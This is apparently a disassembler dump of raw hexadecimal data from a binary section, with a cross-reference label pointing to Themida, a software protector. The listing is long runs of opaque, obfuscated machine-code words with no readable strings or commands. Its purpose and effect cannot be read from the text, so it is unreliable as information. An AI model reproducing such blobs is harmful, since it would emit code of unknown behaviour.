95290000h, 62B2049h dd 89DBB70Fh, 2EB5B085h, 0F8B70F06h, 2ABE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 38CD7180h, 0BE1AC69Ch, 0A8858B1Bh, 6A062EB5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 3A18C352h, 85748CE4h, 7E9h, 304D9000h, 789B02BBh, 1800C7h dd 0BD090000h, 62B288Dh, 5EC38166h, 0ACB58BE7h, 6A062EB5h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0F4EAC355h, 6786CB5Ah, 29D2BC70h, 2B2E0D8Dh dd 0C5858B06h, 6A062B16h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 1C7C351h, 0E8068937h dd 0Fh, 3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 660FFA17h, 8B5FD98Bh dd 2B1EB585h, 0DABF0F06h, 8C0Fh, 46890000h, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 7D280A42h, 0D9078FCAh, 9D8998C3h, 62B0969h, 60605096h dd 0FE8h, 8C329700h, 0A7E9DD6Ah, 0E95C4285h, 0C0C34120h dd 6161605Eh, 0BE9h, 552E9700h, 3BD21261h, 343B1B7h, 0C1BF9661h dd 5129DB15h, 0C1DB8166h, 0B5FF5FD9h, 62EB5A8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 33C35343h, 0AAE2990Fh dd 0DE9E14Bh, 86000000h, 7C2D4B36h, 0E0055411h, 0F6997C7h dd 10E9h, 0B9C02300h, 0E63042D1h, 7870FE1h, 99BF7701h dd 4E832h, 3FF0000h, 810F001Fh, 0Ch, 6890Fh, 52500000h dd 585A310Fh, 24448B50h, 8BD0B304h, 0E8525000h, 0Fh, 6D6A3C29h dd 7456B53Eh, 3D422C97h, 5F5613F3h, 0E960310Fh, 0Dh, 5DD2EEFh dd 1630129Fh, 979A1092h, 7ABE66C2h, 585A61D3h, 4244489h dd 6A58F88Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0D4EFC356h, 0B0858D05h, 6A062EB5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0F615C353h, 43945E96h, 0DDB81B4h, 9028E196h dd 13E9h, 0EFEFE00h, 0CB756473h, 45A1B72Bh, 404A42B3h dd 16E5B4D4h, 4ABF6650h, 0E957903Eh, 0Fh, 6FF5C946h, 0ACEE16B4h dd 4952D6FAh, 5F9EB0C8h, 91D95FFh, 6A062Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0F9AFE8C3h, 625019EFh, 8D29D98Bh, 62B0D31h, 0E585C761h dd 3062B2Bh, 66000000h, 0BD83D88Bh, 62EB5B0h, 1B840F00h dd 0E9000000h, 0Bh, 0F47D9AB6h, 0A9712407h, 0E9924D0Ah dd 21h, 163D9D8Bh, 3050062Bh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 77EFD7BEh, 68B0F4Dh, 81000000h dd 66A75AE3h, 0E5BD8326h, 3062B2Bh, 435850Fh, 0BD090000h dd 62B0B51h, 34ADB589h, 0BD83062Bh, 62EB5B0h, 1C840F00h dd 0E9000004h, 12h, 0A6F2B63h, 84EAB453h, 0E5742C11h, 2D26ABD6h dd 0B5FFAD29h, 62EB5B0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0A9C35242h, 93D19842h, 5E9A2h, 0B1C30000h dd 0FFA79217h, 2B017595h, 8BFA8B06h, 2EB5A4B5h, 8D9D0306h dd 0C7062B34h, 1000106h, 8E95000h, 2D000000h, 209F7F4h dd 8987F5D1h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 2391E3C3h, 0DF005316h, 0BFBF661Ch dd 0FE96067h, 78000000h, 0C20F760Ah, 4916695Ch, 2E90FD54h dd 11E8C738h, 58000000h, 0CD0A29F0h, 76166CC3h, 17F5E43h dd 7CA423BFh, 2A958589h, 615F062Bh, 0B5B0B5FFh, 6A062Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0E27443C3h, 0DD86677h, 4AADFBBBh, 98A0F3Bh, 0F000000h dd 382h, 0FFBF0F00h, 155595FFh, 0B58B062Bh, 62EB5A4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 13C35040h, 2E19B589h dd 858B062Bh, 62B1AD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 93C35747h, 8BC99E2Ch, 2B2601BDh, 0C4868906h dd 0E9000000h, 14h, 5A5AFD06h, 0BAA568B1h, 51DB39DDh, 0B6EAFEC2h dd 0AD8486D6h, 8BFABF0Fh, 2B0EE195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 49A58143h dd 9004ADD9h, 8E0F02CFh, 14h, 0E880Fh, 8E80000h, 42000000h dd 357FB21Ah, 5F54BD0Bh, 79B58960h, 89062B33h, 2B0A3195h dd 0C2836106h, 0EDEB8004h, 66205089h, 8D3CE2BBh, 2ECA4E85h dd 14E906h, 99830000h, 7563F7FEh, 5B94CF0h, 42612573h dd 5E48E020h, 8689E016h, 0B8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 8CC35545h, 665298FDh, 0B7DEDABFh dd 6A006AB2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0C5ACC357h, 3D6D0382h, 0E824A004h dd 24759531h, 0B5FF062Bh, 62EB5B0h, 95FFDE8Bh, 62B05E1h dd 75D68160h, 0E900A42Ch, 0Fh, 0FD3F469h, 2C5B4539h, 88868286h dd 615C8CACh, 0F98B6650h, 0E9243489h, 11h, 0E802D62Ah dd 0B4735EEFh, 9EA2824Ah, 399209E7h, 6850FE2h, 8B000000h dd 2B0649BDh, 0B0B5FF06h, 89062EB5h, 2B2915BDh, 6995FF06h dd 8B062B15h, 2B32719Dh, 9DBD8306h, 62B1Dh, 51840Fh, 8D890000h dd 62B2695h, 0E9525096h, 14h, 8DC2E6C3h, 940550F2h, 0A561BE40h dd 7C560D69h, 5F432DF0h, 8D0F310Fh, 4, 8963BF66h, 0E950585Ah dd 14h, 8FD489FFh, 64068461h, 9ABBE8DEh, 1850440h, 54ED345h dd 0A1B58996h, 0FF062B1Bh, 2EB5B0B5h, 0FFF88B06h, 2B2E1195h dd 0B5FFF506h, 62EB5B0h, 240D95FFh, 6A062Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7DE923C3h dd 0BE847C1h, 0B6000000h, 0D8200ACAh, 0F4A124B7h, 9D89C5EBh dd 62B0A31h, 29BD835Fh, 2062B2Eh, 73840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 563E9CC3h, 3B703CEFh, 858B861Dh, 62B2B39h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h, 0F55502A5h dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 58C3C357h, 38F0Fh dword_58C268 dd 0BF0F0000h, 2585C7DAh, 62B09h, 6A000000h, 3E85300h ; DATA XREF: Themida_:off_54F04Eo dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0E9F0C353h, 0FFFFF333h, 1C35BD01h, 0C18B062Bh, 0BDC38166h dd 0E7816699h, 858DDD1Ah, 62B2FC1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0A3C35747h, 76C22E1h, 0E89044ECh dd 10h, 0DA395AD2h, 0B3CDFA8Dh, 0B03B65CAh, 2F2D74Bh, 975D55BBh dd 50505F21h, 5F505252h, 0BF310F5Bh, 7B81B08Ah, 0B790585Ah dd 0B995890Eh, 6A062B08h, 0A5BD8B00h, 6A062B32h, 859D3300h dd 8D062B32h, 2FFD9285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0E98B73C3h, 6, 0ADFB3214h dd 0BF0F215Eh, 5C083DAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0D1C35343h, 0CB16CBCAh, 90F98412h, 0F28B6660h dd 4F9335BBh, 0E8506160h, 8, 0AB7A6870h, 73342B2Ah, 905FB5B3h dd 0E7D8589h, 6A062Bh, 2EED8D09h, 0BD8B062Bh, 62B2641h dd 0BD33006Ah, 62B2E31h, 12319D8Bh, 95FF062Bh, 62B34E1h dd 0A6AA8D8Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 801CF3C3h, 7AE73951h, 28D99D8Bh dd 0D1FF062Bh, 0A01BD83h, 0F01062Bh, 4985h, 0A840F00h dd 0E9000000h, 5, 0F7AB4DEDh, 50026A06h, 3403C1BFh, 2404892Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FBC35747h dd 35159589h, 95FF062Bh, 62B05E1h, 0FDDBD8Bh, 0FAE9062Bh dd 0E800000Ch, 0 dd 9CED815Dh, 1062FFDh, 2B2591BDh, 1D953106h, 8D062B2Bh dd 2E993A85h, 999D8B06h, 50062B29h, 0CE9h, 414AED00h, 0EE801345h dd 42CCD9F6h, 2404899Dh, 0A3BF1CB7h, 640D676Dh, 35FFh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 81663CC3h, 64772FE3h, 2589h, 85FF0000h, 62B1E0Dh dd 9FD9D09h, 0FF6A062Bh, 68D0Fh, 8D890000h, 62B0A05h, 18B9B5FFh dd 820F062Bh, 4, 57BBF66h, 11A995FFh, 2AE9062Bh, 89000001h dd 2B0F05BDh, 8900B006h, 2B0719B5h, 9AC78006h, 0BD2970E6h dd 62B2401h, 8B6071E4h, 2B11F595h, 613C6106h, 0FF830Fh dd 0FFC0000h, 0FABFC8B6h, 0BA768788h, 6, 0CE9h, 65A66500h dd 60B981CFh, 66A6C458h, 81C18BD9h, 664CB5E7h, 4E8C142h dd 0AE8h, 0CED6CE00h, 8077AC21h, 0E98FFC62h, 5, 0F7EA1979h dd 0F7665B2Fh, 0DAB70FE2h, 0DE8AC82Bh, 2E19B589h, 0D18B062Bh dd 0F5BD8Bh, 8529062Bh, 62B2119h, 98E9h, 1D8D8900h, 8B062B27h dd 485h, 118D8900h, 83062B1Ch, 9D3307C0h, 62B25E9h, 8900C083h dd 2B0829B5h, 0FD03B06h, 1F83h, 3C10BB00h, 0BF0F6927h dd 5FE9FFh, 0DE90000h, 89000000h, 4EED632Fh, 0A024983Fh dd 37EF1784h, 0FFFF8D8Bh, 0BE8FFFFh, 0CD000000h, 58D70167h dd 3B7BFE35h, 9589537Eh, 62B3471h, 1E1835Fh, 27840Fh, 8B0F0000h dd 6, 0FEB7D781h, 0A5835606h, 0FFFFFFFFh, 0BD2956FEh, 62B28B9h dd 495895Bh, 0F5000000h, 0E9h, 9BB58D00h, 0F062F72h, 58Eh dd 0CF816600h, 6A52DBh, 9D38166h, 4595FF9Dh, 6A062B29h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 1BAC355h, 0E35DD7ACh, 8529FF49h, 62B2B01h dd 0F19B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 9E521DAFh, 0BE5A9917h, 659D8B5Bh dd 83062B29h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 9D8BEFC3h, 62B0865h, 2F89BD8Bh dd 0FFC062Bh, 28Ch, 0B8FA8B00h, 0 dd 269BD31h, 0D22B062Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 5EC35545h, 8D0FF88Bh, 0 dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0BAC35545h, 89FBD541h, 2B0F1185h dd 39BD8906h, 0D062B24h, 88h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 99C35747h, 0A1667E84h, 423D4B26h dd 159D2B64h, 8B062B02h, 2B0EE195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 82E20198h dd 0E8BF804Ah, 0E18D8B82h, 66062B21h, 431FF381h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 7A6870C3h dd 8B2B2AABh, 2B0BC19Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E03E1EF9h, 0A9852986h dd 83062B10h, 2B05A9BDh, 840F0006h, 87h, 0D890F381h, 0B846B8h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 280AC355h, 0A18D8D7Dh, 6A062B4Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0B701C353h, 0FEB64227h, 348D8D89h, 0EE9062Bh dd 75000000h, 5A7F51EEh, 0E3E1F264h, 54EECEEDh, 6AE1FF78h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 830DC355h, 2B2BE5BDh, 840F0006h, 412h, 25A99D8Bh dd 0BD83062Bh, 62B2BE5h, 1A840F01h, 8B000004h, 2B0931BDh dd 0E5BD8306h, 3062B2Bh, 3D1860Fh, 0DE80000h, 49000000h dd 7586916h, 59E09788h, 88130D54h, 25C98D89h, 605B062Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BEC35646h dd 52B4FB7Bh, 405C8B6Fh, 97ECF381h, 8C664C77h, 2BDBBFD9h dd 0E1806BCBh, 0FC90A04h, 10E84h, 0FEBF0F00h, 1EB5858Bh dd 8B66062Bh, 0ADBD8BFEh, 33062B11h, 2B258D85h, 4D9D0B06h dd 90062B19h, 8F0Fh, 66500000h, 902385BFh, 1CEDBD29h, 6A062Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DFC35242h dd 0D4929218h, 0B8D7E19Eh, 0FDBD8B57h, 5B062B29h, 4BEBF868h dd 0DF8B667Eh, 7243481h, 6A7E54E8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 86D5C352h dd 1D95FFD9h, 6A062B09h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 6AF0C350h, 1F8988D9h dd 8E9CE79h, 0F000000h, 2C5B4539h, 0E9868286h, 13h, 0FB5C94B1h dd 622C37A7h, 0FF9D13F0h, 0A5479CC7h, 895F1FFFh, 2EB5B085h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0C210EA88h, 0DD51BB87h, 0D8E92BB3h, 66000001h dd 8B8664BBh, 2EB5A885h, 0F7816606h, 0C76C10h, 18h, 48DB81F9h dd 8B7D84D9h, 2EB5ACB5h, 3171BF06h, 858B3455h, 62B16C5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 75C35343h dd 0E7CD6652h, 8BCB314Eh, 2B0BF1BDh, 2CEB8106h, 891F5558h dd 0C1958906h, 8B062B1Ah, 2B1EB585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 35389F5h, 2B29E5BDh dd 46895B06h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 4D48052Ch, 25AB6B58h, 0A19D3129h dd 50062B1Dh, 3489F88Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0B5FFC71Fh, 62EB5A8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4BC35242h dd 0E8DE8B66h, 0Dh, 4C256463h, 0F8A8FDDCh, 960F8AFAh, 0DD9531F5h dd 5F062B02h, 57863668h, 8145B34Ch, 85C92434h, 0BD8B4C48h dd 62B277Dh, 0B5B0858Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 864532C3h, 890F35C9h dd 6, 1F119589h, 9D8B062Bh, 62B0929h, 0C9AFBB90h, 665030CDh dd 6A90FA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0E505C352h, 0BD7C795Dh, 9E39DEFh dd 1D95FFF9h, 6A062B09h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 4990C355h, 4A818E1Eh dd 896060CDh, 2B1E6D9Dh, 0F7816106h, 73974AE5h, 3DBD8B61h dd 61062B2Eh, 1101BD8Bh, 85C7062Bh, 62B2BE5h, 3, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 37C35141h, 8007207Fh dd 0B5B0BD83h, 0F00062Eh, 5A84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E620587Ch dd 0F5E8C891h, 0FE838h, 209D0000h, 6E2100F5h, 97D27697h dd 0CE0DD1CAh, 7E9CEh, 73F00000h, 2A70E526h, 2BE95B62h dd 0E8000000h, 8, 0D744890Fh, 0B88E57E5h, 505FDE8Bh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0C18223C3h, 6262B61Eh, 0E91B2296h, 10h, 2430F0C9h, 92D4B6F8h dd 0CF097AD6h, 9801EE65h, 6AFEB70Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 12EBC350h dd 0A86E4E4h, 0D66C83B4h, 870FDA8Bh, 2, 0BD83DE8Bh, 62B2BE5h dd 0E0850F03h, 6A000003h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0D799C350h, 68F8D660h dd 8D89F532h, 62B21EDh, 0B5B0BD83h, 0F00062Eh, 3AA84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 8345B1E1h, 8939814Fh, 2B0DA58Dh, 0B0B5FF06h dd 89062EB5h, 2B0AB9B5h, 7595FF06h, 6A062B01h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 9760C350h, 37A68788h, 8190F7E5h, 0F25458CBh, 0A4B58B79h dd 89062EB5h, 2B06F59Dh, 106C706h, 6A000100h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 949FC357h, 0B0FC7DD2h, 8B963202h, 800F50FEh, 6, 1ABF6651h dd 9965BE0h, 2B016185h, 29BD0B06h, 0FF062B0Ah, 2EB5B0B5h dd 0EB8106h, 0FF0B0EFCh, 2B155595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0A0E9DCB8h dd 9CBD8393h, 0FFEFBB66h, 0B5A4B58Bh, 6A062Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0A7A57FC3h, 4492E231h, 1AD9858Bh, 8166062Bh, 0F5C09F7h dd 108Fh, 0BE900h, 0D0010000h, 7628EDEDh, 2346A49Dh, 0C48689DDh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 282C353h, 53E55BDCh, 0F9847D9h dd 0E8Fh, 9E900h dd 991D0000h, 0EC604D40h, 8BECD80Fh, 2B0EE195h, 5D9D8906h dd 83062B06h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 9550E2C3h, 0E8A2DC5Bh, 2050898Fh dd 4ADF8152h, 5B03E4AEh, 0CA4E858Dh, 6A062Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 858907C3h dd 62B301Dh, 0B88689h, 0BD310000h, 62B0899h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0F9248FC3h, 0F2ADC706h, 0BF4078B0h, 50DDFEC2h, 1E99BD8Bh dd 0B5FF062Bh, 62EB5B0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 78C35545h, 81ED1C4Eh, 880Fh, 820F0000h dd 6, 40E4EF81h, 95FF1B5Ah, 62B05E1h, 0D88B5096h, 0EE996h dd 974F0000h, 2AB9DB21h, 9A95D961h, 820DA1Ah, 0B5B0B5FFh dd 9D0B062Eh, 62B2B5Dh, 156995FFh, 8B66062Bh, 9DBD83FBh dd 62B1Dh, 14840Fh, 9D230000h, 62B2AEDh, 0DE8B5750h, 2434895Fh dd 0EBF0DB81h, 0B5FF51F9h, 62EB5B0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 15C35040h, 0E6ECE940h, 0BEB0A8A5h dd 3DBF6656h, 8F0F5F95h, 14h, 0FE9h, 34A9B300h, 0D0A4F7A9h dd 2F507CB6h, 0CE58EA80h, 2E1195FFh, 6A062Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 50905FC3h dd 2085FD13h, 0B5FFD98Bh, 62EB5B0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 8C35141h, 183F648h, 2B35A99Dh dd 0D95FF06h, 0E8062B24h, 9, 0C2B63E7Ch, 78DD733Dh, 5DB529E7h dd 5B062B21h, 2E29BD83h, 0F02062Bh, 2D84h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8BE4B90Dh, 2B2B3985h, 0B1BD8B06h, 0C6062B07h, 85C70000h dd 62B0925h, 0 dd 8166F88Bh, 0E911C4C7h, 0FFFFF38Eh, 6A6547BFh, 89C18B1Dh dd 2B054D8Dh, 0C1858D06h, 6A062B2Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 118BC351h dd 0FF8E689h, 1980h, 0DE800h, 45130000h, 0B540719Dh, 0F6F9B438h dd 81BEFDC2h, 0E56E91C3h, 66505F2Fh, 489FB8Bh, 38C0F24h dd 66000000h, 6ADF8Bh, 0CE9h, 0D957A600h, 90D2B973h, 0E5FE170Dh dd 6A006A98h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0DDF9C356h, 7801CEF6h, 1BD70ABBh dd 799D8B52h, 5B062B29h, 0B6858DF9h, 8B06300Ch, 2B2F65BDh dd 68B0F06h, 8B000000h, 2B12559Dh, 5C08306h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 65C35343h, 7A5E04C3h dd 6259A6C1h, 14880F50h, 50000000h, 0F5B5352h, 7E931h dd 0FD8E0000h, 888F8592h, 89585AEFh, 840F2404h, 5, 0F6FF09BBh dd 81006A72h, 0DBF339DFh, 6A006A54h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 29E5C352h dd 0EC6693D5h, 0B5895F95h, 62B3065h, 0BE9h, 0A85C7300h dd 1180DC81h, 2ABF3290h, 89BF6660h, 0D19529F9h, 61062B05h dd 34E195FFh, 0BD8B062Bh, 62B05C9h, 0A6AA8D8Dh, 0B589062Eh dd 62B1235h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 371CD8C3h, 0D181B70Bh, 0A19D897Ah dd 0BB062B05h, 1C30A347h, 0A01BD83h, 0F01062Bh, 8185h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 53E14228h, 1870Fh, 6AFC0000h, 0FEB70F02h dd 8C26BB50h, 48930EAh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 618B3DBh, 95FFACB0h, 62B05E1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 99C35141h dd 7867FE89h, 0A9DBD33h, 0BEE9062Bh, 0E800000Bh, 0 dd 0C0ED815Dh, 6606300Ch, 1FC2EB81h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0E4C35141h, 5B3B601h, 67BB6695h dd 3A858D2Dh, 8B062E99h, 2B01359Dh, 9D953106h, 90062B07h dd 358BC3BBh, 8C0F5022h, 4, 5B616052h, 50006A90h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0B70FCE13h, 35FF64DAh, 0 dd 16B5BD8Bh, 8964062Bh, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0D85FF89h dd 89062B1Eh, 2B2D7995h, 89FF6A06h, 2B2EE19Dh, 5DB5FF06h dd 0E9062B2Ah, 0Bh, 0FE3CFD08h, 5EDA20BCh, 0FFC1CD70h dd 2B11A995h, 11CE906h, 0BD2B0000h, 62B2F35h, 0BB6600B0h dd 70E6B80Ah, 54E7C381h, 71E413D0h, 27DBD33h, 613C062Bh dd 0F8830Fh, 0FF50000h, 0BD8BC8B6h, 62B0CB9h, 6BAh, 8BD88B00h dd 518D89C1h, 0C1062B26h, 0BD8B04E8h, 62B1655h, 57E2F766h dd 2B5FDC8Ah, 38D0FC8h, 66000000h, 9D8BDE8Bh, 62B1FA1h dd 850FD18Bh, 16h, 11E9h, 0EF7BC200h, 0AF010F0Bh, 4DE17498h dd 735F9B77h, 9BE91767h, 1000000h, 2B213195h, 44858B06h dd 665F4C4Ch, 0C083FE8Bh, 9AC38107h, 832C1D23h, 295000C0h dd 2B2F11BDh, 0D03B5F06h, 0D830Fh, 0BD8B0000h, 62B2729h dd 65E9h, 8BF98A00h, 0FFFFFF8Dh, 0E8F960FFh, 7, 0CF1E58DAh dd 5BE5F720h, 1E18361h, 44840Fh, 85290000h, 62B176Dh, 0FFFFA583h dd 0F5FEFFFFh, 0DE8h, 7E66C500h, 6FECC0D0h, 0D4AD6905h dd 9D8B7443h, 62B0865h, 4495895Fh, 0E95F4C4Ch, 0Dh, 0BBD1F010h dd 122004BDh, 1685835Bh, 0E9DDh, 0B58D0000h, 62F81B4h dd 6A3FC780h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 91205944h, 0E8BF32E2h, 8B64818Eh dd 2B2C91BDh, 4595FF06h, 0F062B29h, 81h, 0ECBB900h, 0BD310000h dd 62B3481h, 29FCE183h, 2B2639B5h, 0DE8BFC06h, 6AC02Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 80A22C3h, 4817B7F1h, 5D9D8B6Fh, 2B062B30h, 0EB8166D2h dd 33ADE2C1h, 3E8D1C2h, 4E983D0h, 0E5BFF475h, 232E012Bh dd 2B0F11BDh, 0FE86006h, 1C000000h, 78534EF9h, 2357A08Dh dd 0B0198F7Ch, 61BB76D9h, 5F2F38C5h, 15C1B529h, 0D61062Bh dd 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h dd 0DC35747h, 0EF802707h, 0E1958BD2h, 80062B0Eh, 8D8BE3E7h dd 62B21E1h, 501BD780h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0BB66F558h, 0BD832E64h, 62B05A9h, 73840F00h dd 89000000h, 2B01B9B5h, 0B806h, 0BE80000h, 45000000h dd 86228382h, 97064928h, 7E9F9DEh, 0AE000000h, 75F8B9A9h dd 8D5B9F07h, 2B4EA18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 31E2365Fh, 0B1BB6657h dd 0E9E1FFADh, 14h, 24EA5470h, 0C7E1AE2Ah, 46913C1Eh, 0ABC40B36h dd 1D0C8D8Ch, 939BD8Bh, 0BD83062Bh, 62B2BE5h, 0CC840F00h dd 83000003h, 2B2BE5BDh, 840F0106h, 3DAh, 1DBD8960h, 66062B17h dd 0BD3DCA81h, 0E5BD8361h, 3062B2Bh, 38A860Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0D4B3D7C3h, 35819D8Bh, 0BD8B062Bh, 62B02A9h, 98D8960h dd 66062B30h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 43BB4FC3h, 9879B14Dh, 0FA8E50Eh dd 389h, 0FFB70F00h, 9AD8D89h, 0E180062Bh, 56006A04h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 